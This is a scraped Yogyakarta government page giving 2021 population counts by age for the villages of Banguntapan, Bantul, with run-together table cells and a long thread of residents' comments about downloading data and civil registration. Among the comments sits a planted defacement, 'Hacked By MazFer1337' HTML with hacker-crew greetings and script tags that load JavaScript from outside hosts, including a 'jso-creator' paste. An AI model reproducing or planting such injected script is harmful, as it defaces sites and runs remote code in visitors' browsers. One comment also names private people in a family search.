Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN BANGUNTAPAN, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBATURETNOBANGUNTAPANJAGALANSINGOSARENJAMBITANPOTORONOTAMANANWIROKERTENTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun187181 368418380 7984119 604654 100129110 239155154 309136129 265190169 3591.302 1.196 2.498
2 tahun129123 252264245 5091420 342437 616482 1469186 17710983 192139117 256834 793 1.627
3 tahun120125 245262251 5131627 432519 449169 160110111 22181120 201121115 236826 837 1.663
4 tahun115108 223290248 5382016 362838 668168 1499884 1829486 180109114 223835 762 1.597
5 tahun125134 259266269 5351217 292430 5410490 1948696 1828986 175110119 229816 841 1.657
6 tahun90107 197272251 5231817 352323 467371 144101114 2159087 177119122 241786 792 1.578
7 tahun131129 260286275 5612217 394626 728783 17012089 2099179 170129117 246912 815 1.727
8 tahun133124 257284262 5461118 293035 658081 161117107 224107108 215137121 258899 856 1.755
9 tahun147134 281309304 6131914 333927 668288 170119112 231102103 205136133 269953 915 1.868
10 tahun125120 245300306 6062322 452725 5297112 209114114 22810699 205136144 280928 942 1.870
11 tahun132128 260278314 5923022 522730 578095 175131102 23310598 203153122 275936 911 1.847
12 tahun168150 318298302 6002229 512929 588588 173108120 22811796 213154121 275981 935 1.916
13 tahun130138 268322274 5962116 373130 618994 183129100 22911899 217129133 262969 884 1.853
14 tahun147140 287291303 5942226 482132 5310382 185126123 249107108 215139134 273956 948 1.904
15 tahun135123 258310311 6212220 424034 749867 165104110 21411398 211122120 242944 883 1.827
16 tahun148153 301303260 5632719 463631 679269 16110574 1799593 188119134 253925 833 1.758
17 tahun114102 216247245 4921914 332413 377679 1556272 1348685 1717576 151703 686 1.389
18 tahun131130 261294295 5891917 363730 678368 15110093 19310491 19597106 203865 830 1.695
19 tahun141125 266315264 5792815 433826 647773 15096104 20010694 20011478 192915 779 1.694
20 tahun153105 258315263 5781921 402339 626478 14297109 2067499 173110112 222855 826 1.681
21 tahun133139 272289296 5852016 363426 607271 14394112 20680105 185112103 215834 868 1.702
22 tahun144118 262279266 5451517 323120 517568 1439791 1889074 164105106 211836 760 1.596
23 tahun115109 224262259 5211218 302722 497856 1349888 1868799 1868396 179762 747 1.509
24 tahun131104 235269297 5662119 402426 505769 126106100 20610696 20288107 195802 818 1.620
25 tahun140105 245288299 5872520 453226 586767 134106112 21810088 188118126 244876 843 1.719
26 tahun128125 253263279 5422314 373422 568080 1608098 17810299 201104118 222814 835 1.649
27 tahun128128 256261269 5303119 503429 636263 125103100 20389102 191100106 206808 816 1.624
28 tahun126127 253295267 5621422 364336 796564 12997106 2038580 1659891 189823 793 1.616
29 tahun129148 277289297 5862420 443936 756576 14110898 2068778 165118107 225859 860 1.719
30 tahun101130 231283273 5562418 423130 617169 14010289 19184114 198108100 208804 823 1.627
31 tahun118128 246279278 5572021 412920 496679 1459283 1758298 1808884 172774 791 1.565
32 tahun123123 246310309 6192118 392333 567469 1438471 1559764 16196119 215828 806 1.634
33 tahun116113 229265247 5122617 432222 446578 1438689 1757589 1648790 177742 745 1.487
34 tahun132112 244260296 5561817 351725 425990 1499693 1898183 164113101 214776 817 1.593
35 tahun119105 224277294 5711227 392424 486078 1387390 16311993 2127699 175760 810 1.570
36 tahun128140 268302318 6202227 493738 757289 161102108 21092103 195104117 221859 940 1.799
37 tahun108133 241329322 6512319 423638 747789 166121123 24499120 219127127 254920 971 1.891
38 tahun157136 293290292 5822133 542724 519699 195110104 21410596 201112137 249918 921 1.839
39 tahun133154 287332338 6702729 562842 7012087 207114133 247113128 241123134 257990 1.045 2.035
40 tahun137126 263291304 5952822 502635 619786 183120115 235109115 224128120 248936 923 1.859
41 tahun135140 275338308 6462115 363838 7610490 194106135 24198103 201105117 222945 946 1.891
42 tahun127133 260305329 6342821 492826 54108109 217123112 235113127 240108131 239940 988 1.928
43 tahun149139 288313343 6561622 383630 6610294 196118102 220102121 223119105 224955 956 1.911
44 tahun127148 275298293 5912030 502822 508170 15110990 19910397 200109115 224875 865 1.740
45 tahun144129 273301303 6041928 473234 669684 180117115 23212396 219121106 227953 895 1.848
46 tahun120131 251288281 5692018 383033 637280 15291125 21611398 21187136 223821 902 1.723
47 tahun127124 251276263 5392816 442526 518666 152103116 21910276 178102103 205849 790 1.639
48 tahun106126 232281292 5731719 362725 527774 1519996 19510580 1859792 189809 804 1.613
49 tahun121124 245332317 6491414 282225 476485 14981107 18896111 207112102 214842 885 1.727
50 tahun131119 250238315 5531120 311929 488369 152100109 2097178 1498892 180741 831 1.572
51 tahun102153 255262283 5452531 563139 705785 14210896 2048391 1749188 179759 866 1.625
52 tahun133128 261291314 6052527 522527 527887 1659995 1949375 16810099 199844 852 1.696
53 tahun100120 220258294 5522023 433230 627065 13583101 1848194 17598109 207742 836 1.578
54 tahun108127 235239255 4941817 352631 576061 1219490 1848972 1618982 171723 735 1.458
55 tahun7493 167221268 4891414 282230 525652 1087290 1627779 1566972 141605 698 1.303
56 tahun107139 246255293 5481629 452829 576064 1248693 17972108 1808173 154705 828 1.533
57 tahun10290 192226228 4542125 462428 524148 897571 1464480 1246171 132594 641 1.235
58 tahun95125 220220264 4842123 442126 475259 1118176 1576771 1386180 141618 724 1.342
59 tahun10391 194218252 4701631 472619 454854 1026780 1477684 1605797 154611 708 1.319
60 tahun8584 169189194 3833024 541613 293250 825540 955249 1015868 126517 522 1.039
61 tahun99114 213185231 4161920 392022 426064 1247579 1547363 1367074 144601 667 1.268
62 tahun121107 228211227 4382017 372620 465057 1076263 1258185 1668272 154653 648 1.301
63 tahun7672 148177196 3732017 372717 445546 1016054 1145154 1056449 113530 505 1.035
64 tahun5790 147156207 3631520 351917 364032 725637 936260 1226048 108465 511 976
65 tahun5463 117151158 3091818 362116 375338 914633 794949 986253 115454 428 882
66 tahun5863 121149145 2941016 262518 434029 694862 1104634 805953 112435 420 855
67 tahun6357 120133125 258159 241710 274530 753646 823533 685054 104394 364 758
68 tahun3648 84108134 242813 21913 222423 473535 704436 804028 68304 330 634
69 tahun5746 103114109 223109 191612 283031 612826 544928 773736 73341 297 638
70 tahun2432 566696 1621015 25104 142222 443017 472835 632520 45215 241 456
71 tahun3734 718179 1601010 2076 131318 312829 572727 543329 62236 232 468
72 tahun2925 546073 133118 1975 121426 402724 513122 531638 54195 221 416
73 tahun2223 456081 14147 1197 161310 231021 31918 271622 38143 189 332
74 tahun2021 414670 11659 1431 41111 221527 422022 42923 32129 184 313
75 tahun910 194859 10728 1018 91110 21810 181116 271414 28104 135 239
76 tahun2425 495162 11326 8310 131612 281738 551515 301220 32140 188 328
77 tahun1226 384339 8266 1238 112017 37719 2699 182327 50123 151 274
78 tahun1416 304637 8346 1033 6117 181622 38810 18610 16108 111 219
79 tahun1622 385161 11265 1103 31411 25169 252119 401021 31134 151 285
80 ke atas56101 157142241 3831824 421920 396185 14655104 1595976 13563106 169473 757 1.230
Jumlah8.4278.54016.96719.06419.54138.6051.4651.4892.9541.9971.9623.9595.2435.19910.4426.7006.77113.4716.4006.36612.7667.1907.33014.520 56.486 57.198 113.684
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih